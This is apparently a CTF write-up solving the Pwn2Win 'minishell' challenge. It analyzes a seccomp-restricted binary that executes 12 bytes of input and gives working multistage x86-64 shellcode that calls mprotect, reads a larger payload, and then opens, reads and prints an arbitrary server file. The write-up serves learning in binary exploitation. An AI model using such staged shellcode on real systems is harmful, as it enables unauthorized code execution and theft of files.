Pwn2Win — minishell

Hello, hackers!

I’ve recently took part in Pwn2Win CTF and they had very interesting challenges, it was a lot of fun to solve them. One of the tasks in the pwning category that I succeeded to solve was minishell . Let’s analyze it a little bit.

We have a 64-bit ELF binary running on a Linux server and no LIBC is provided. You can download the binary here.

Running the binaryRunning the binary

We see that there is not much interaction between us and the program, it only reads a string and then it crashes. The message “Executing…” leads us to the idea that maybe it is executing the input that it receives, but let’s not make any false assumptions before we see the actual content. I will step into every significant piece of code, for a better understanding.

Binary exploitation prevention featuresBinary exploitation prevention features

Main entry of the programMain entry of the program

Here we see the entry of the program, basic stack setup, no interesting things. Just after that, something caught my attention, a call to mmap . This is a standard C function that requests memory pages from the operating system.

mmap(NULL, 0x1000, 0x7, 0x22, 0, 0)mmap(NULL, 0x1000, 0x7, 0x22, 0, 0)

According to the manual pages, protection 0x7 means READ/WRITE/EXECUTE permissions. The result of the mmap call is stored into a stack variable.

read(0, buf, 0x1000)read(0, buf, 0x1000)

This call to the read function seems to allow us up to 4096 (0x1000 in hex) bytes of memory to be stored, but the cmp [rbp+var_C], 0xCh instruction compares the number of read bytes with 12, if it is lower or equal we perform a jump to another piece of code. If the condition is not satisfied, the program will simply exit.

Call to sub_ABA and mprotect(buf, 0x1000, 0x5)Call to sub_ABA and mprotect(buf, 0x1000, 0x5)

Here we see three important elements:

Let’s inspect the sub_ABA in order to have a full understanding of the program.

Adding seccomp rules in order to restrict syscallsAdding seccomp rules in order to restrict syscalls

The whole function is filled with calls to seccomp_rule_add . seccomp module, the short form for secure computing mode, is a security enhancement that is able to restrict system calls, file access and other permissions. According to the manual 0x7FFF0000 flag means “allow the specified system call number”. So, our binary and also our future shell is only able to use few system calls. Inspecting the binary we know that they are the following: open , read , write , close , mprotect and exit .

Summarizing, we are able to send 12 bytes of shellcode that will be executed and we can’t call system, so we’ll need to read the flag using the open and read calls. For sure, we can’t do this in only 12 bytes, so we need to implement a multistage exploit. The first part will allow us to send a bigger shell in the second step. The objectives for the first stage are:

I’ve set a break point just before the jump to our shellcode in order to observe the resources offered by the register values.

Registers before the jumpRegisters before the jump

We see that the registers almost have the right values for the mprotect call (rdi = buffer address, rsi = buffer size, rdx = protections). We need to change the rax value to 10, because this is the mprotect system call number. Then we need to set the protection to RWX, so the last 3 bits of mprotect prot number must be set.

mov al,10  # 2 bytes
mov dl,0x7 # 2 bytes
syscall    # 2 bytes

We have 6 bytes left to use and we need to swap few registers.

rdi = 0x0
rsi = rdi (buffer address)
rdx = ??? (size)

After a lot of tries, I’ve found one way to set the registers in a convenient manner:

push rcx
pop rsi
push rax
pop rdi
syscall

But this won’t allow us to change the rdx value again. So, we will need to use the same value that we set in the mprotect call. So, let’s change 0x7 to the biggest value that will allow us to have RWX permissions and won’t mess anything else. And that’s 0xf.

And this is the first stage shell:

mov al,10 # set the systemcall number
mov dl,0xf # set the mprotect protection RWX
syscall
push rcx # set the registers for the read call
pop rsi
push rax
pop rdi
syscall

In the second stage of the exploit, the memory area is now writable and we can read 16 bytes. We need to clear the return register (rax) and put 0 in it (read system call number) and set the rdx to a bigger value. The other registers are already set from the last stage.

xor ax,ax
mov edx, 0xff # any value that will allow you to upload a big enough shell
syscall

Because we already passed few bytes of the buffer with the execution, we will need a little NOP sled before the second stage.

In the last stage of the exploit, we will send a classic shellcode, we will read the filename from the user, we will open the file, read it and print the flag to the screen. Again, we will need a NOP sled for our shellcode.

# read the filename to open
 xor rax,rax
 xor rdi,rdi
 mov rsi,rsp
 mov rdx,0xff
 syscall
 
 # open the file (fd is in rax)
 mov rax,2
 mov rdi,rsp
 xor rsi,rsi
 xor rdx,rdx
 syscall
 
 # read the file (read size is in rax)
 mov rdi,rax
 xor rax,rax
 mov rsi,rsp
 mov rdx,0xff
 syscall
 
 # write the flag and '\n'
 mov rdx,rax
 mov rax,1
 mov rdi,1
 mov rsi,rsp
 syscall

push 0xa
 mov rdx,1
 mov rax,1
 mov rdi,1
 mov rsi,rsp
 syscall

This piece of code will allow us to open any file on the server. It was a little bit of trouble to find the path to the flag, but finally I found that it is in “/home/minishell/flag.txt”

You can find the full script here and also other CTF and wargames solutions.

Thanks for reading!